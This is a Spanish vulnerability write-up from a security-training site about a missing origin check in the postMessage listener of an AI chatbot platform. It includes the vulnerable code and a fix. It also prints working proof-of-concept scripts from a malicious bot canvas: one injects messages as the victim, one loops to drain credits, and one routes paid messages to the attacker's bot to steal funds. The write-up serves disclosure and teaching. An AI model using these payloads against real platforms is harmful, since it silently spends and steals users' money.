Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoCon cuenta

Zero-Click postMessage Origin Bypass — del canvas al credit drain

El listener de postMessage solo validaba un campo de e.data — controlado por el atacante. e.origin nunca se chequeaba. Desde un iframe cargado al abrir un bot, mensajes inyectados como si los hubiera escrito la víctima.

Gorka El Bochi9 de mayo de 202614 min

Respuesta rápida

Una plataforma de IA conversacional tenía un listener de postMessage en la ventana padre que solo validaba e.data.source === "poeFrame" — un campo controlado al 100% por el emisor. Nunca se chequeaba e.origin. Desde el <iframe> de la canvas de un bot malicioso, cualquier visitante recibía mensajes inyectados como si los hubiera escrito él mismo. Zero-click, escalable a credit drain y robo financiero directo.


1. Contexto de la plataforma

La plataforma es un agregador de modelos de IA donde cualquier usuario puede crear bots. Estos bots pueden tener una canvas (lienzo interactivo) — básicamente un <iframe> que carga HTML/JS externo alojado en un CDN propio (cdn.target.tld).

csharp
[main.target.tld (parent window)]
        ↕ postMessage API
[cdn.target.tld (canvas iframe)]

El canal de comunicación entre el iframe y la ventana padre se implementa mediante la Web Messaging API (window.postMessage). Y precisamente aquí está el fallo.


2. El fallo técnico — Missing Origin Validation

postMessage 101

window.postMessage(data, targetOrigin) permite enviar mensajes entre contextos de navegación distintos (iframes, ventanas abiertas, etc.). El receptor escucha con window.addEventListener('message', handler).

El objeto MessageEvent que recibe el listener expone tres propiedades críticas:

PropiedadDescripción
e.dataEl payload del mensaje — completamente controlado por el emisor
e.originEl origen del emisor — establecido por el navegador, no falsificable
e.sourceReferencia a la ventana emisora

La regla de oro: siempre validar e.origin. Es el único campo que garantiza de dónde viene el mensaje.

El código vulnerable

javascript
let onMessageEvent = e => {
  if (!e.source || "poeFrame" !== e.data.source) return;
  // ❌ NUNCA se valida e.origin
  let n = e.source, t = u.get(n);
  if (t) t(n, e);
}

El listener aplica un único check: e.data.source === "poeFrame". Pero e.data es el payload del mensaje, definido 100% por el atacante. Cualquier página puede mandar:

javascript
parent.postMessage({ source: "poeFrame", ... }, "*");

y pasar el filtro. La validación es trivialmente bypasseable porque se está comprobando un campo que el propio atacante controla.

Por qué e.origin es la solución correcta

e.origin lo establece el navegador automáticamente según de dónde viene el mensaje. No es manipulable desde JavaScript:

javascript
const ALLOWED_ORIGINS = ["https://cdn.target.tld"];

let onMessageEvent = e => {
  if (!ALLOWED_ORIGINS.includes(e.origin)) return; // ✅ validación real
  if (!e.source || "poeFrame" !== e.data.source) return;
  // procesar...
}

3. Superficie de ataque — la miniAppAPI

El mensaje que el iframe puede enviar al padre invoca una API interna llamada miniAppAPI. El payload de la acción sendMessage es:

javascript
{
  source: "poeFrame",
  type: "miniAppAPI",
  subType: "request",
  requestName: "sendMessage",
  requestId: "<random>",
  data: {
    text: "<mensaje arbitrario>",    // ← atacante controla esto
    attachments: [],
    stream: false,
    openChat: true,
    parameters: {}
  }
}

Cuando el dominio principal recibe este mensaje (sin validar origen), lo procesa como si la propia víctima hubiera escrito ese mensaje y lo envía al bot activo. La víctima no ve ningún prompt, no confirma nada, no hace nada.


4. Flujo de ataque completo

css
[Atacante] crea bot con canvas HTML maliciosa
   ↓
[Atacante] comparte link (o el bot aparece orgánicamente)
   ↓
[Víctima] abre el bot (1 solo click)
   ↓
Plataforma carga canvas en iframeCanvas → postMessage({ source:"poeFrame", sendMessage, text:"..." })
   ↓
Plataforma NO valida e.origin ❌
   ↓
Mensaje inyectado AS la víctima → bot objetivo
   ↓
Bot responde (consumiendo créditos de la víctima)

El ataque es zero-click desde la perspectiva de la víctima: basta con abrir el bot. El canvas se carga automáticamente y el JavaScript se ejecuta sin interacción adicional.


5. Vectores de impacto escalados

5.1 Inyección básica de mensajes

El PoC inicial simplemente inyecta un mensaje de texto:

html
<script>
parent.postMessage({
  source: "poeFrame",
  type: "miniAppAPI",
  subType: "request",
  requestName: "sendMessage",
  requestId: Math.random().toString(36).substring(2),
  data: {
    text: "This message was injected without user interaction",
    attachments: [],
    stream: false,
    openChat: true,
    parameters: {}
  }
}, "*");
</script>

Impacto: conversación manipulada, el usuario ve respuestas a preguntas que nunca hizo.

5.2 Credit Drain — drenaje de créditos de pago

La plataforma tiene modelos de pago que consumen créditos por mensaje. El PoC escalado usa setInterval:

javascript
function drain() {
  parent.postMessage({
    source: "poeFrame",
    type: "miniAppAPI",
    subType: "request",
    requestName: "sendMessage",
    requestId: Math.random().toString(36).substring(2),
    data: {
      text: "@Modelo-Premium escribe 2000 palabras",
      attachments: [],
      stream: false,
      openChat: true,
      parameters: {}
    }
  }, "*");
}
setInterval(drain, 2000); // cada 2 segundos

Resultado: mientras la víctima tenga la pestaña abierta, sus créditos se consumen a máxima velocidad invocando el modelo más caro disponible.

5.3 Financial Theft — robo directo de dinero

Esta escalación convierte la vulnerabilidad de "daño" a robo financiero directo.

La plataforma permite a los creadores de bots cobrar por mensaje. El atacante puede:

  1. Crear un bot propio con un precio establecido (ej. 100 créditos/msg).
  2. En la canvas maliciosa, hacer que los mensajes inyectados apunten a @SuBotDePago.
  3. Cada mensaje inyectado transfiere créditos de la víctima al atacante como revenue.
javascript
data: {
  text: "@BotDelAtacante_con_precio cualquier_texto",
  ...
}

El flujo de dinero es: víctima → plataforma → atacante. No es solo desperdicio, es extracción activa de valor económico hacia el atacante.


6. Lo que hace al ataque especialmente grave

FactorDetalle
Zero interactionBasta con cargar la página del bot — el canvas se ejecuta automáticamente
Sin bypass adicionalNo requiere XSS, CSRF token, ni nada. La plataforma "funciona", el fallo es de diseño
Escalabilidad masivaUn solo bot público puede afectar a miles de usuarios simultáneamente
InvisibilidadLa víctima no recibe notificación, no ve prompt sospechoso
PersistenciaMientras la pestaña esté abierta, el ataque continúa en bucle
Sin CSP que lo bloqueeSe usan APIs legítimas de la plataforma
Descubrimiento orgánicoEl bot puede aparecer en búsquedas, recomendaciones y homepage sin necesidad de phishing

7. Análisis del wildcard "*" en el emisor

El canvas envía con targetOrigin = "*":

javascript
parent.postMessage({ ... }, "*"); // sin restricción de destino

El mensaje se envía a cualquier ventana padre, sea cual sea su origen. En condiciones normales, el canvas debería especificar el dominio principal como targetOrigin. El "*" en el emisor es mala práctica adicional, pero el fallo principal sigue siendo en el receptor.


8. Clasificación técnica

CampoValor
Tipo de vulnerabilidadMissing Origin Validation in postMessage handler
CWECWE-346 (Origin Validation Error)
OWASPA07:2021 — Identification and Authentication Failures
Autenticación requerida (atacante)Solo cuenta gratuita
Autenticación requerida (víctima)Sesión activa en la plataforma
User interaction1 click (abrir el bot)
AlcanceTodos los usuarios autenticados de la plataforma

9. Notas técnicas

  • El check e.data.source === "poeFrame" intenta actuar como un "secret handshake", pero al estar en e.data (controlado por el atacante) no aporta seguridad.
  • La API miniAppAPI parece ser una capa de abstracción sobre las capacidades expuestas al canvas — el hecho de que sendMessage sea accesible sugiere que hay más métodos que podrían ser explotables con el mismo vector si la comunicación no se restringe.
  • El requestId aleatorio (Math.random().toString(36)) sugiere que la API tiene un sistema de correlación request/response — potencialmente explotable para leer respuestas también desde el canvas.

Labs relacionados

Practica chains de postMessage, origin validation y abuso de iframes anidados: labs de postMessage.

Practica esto en un lab

Postmessage

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados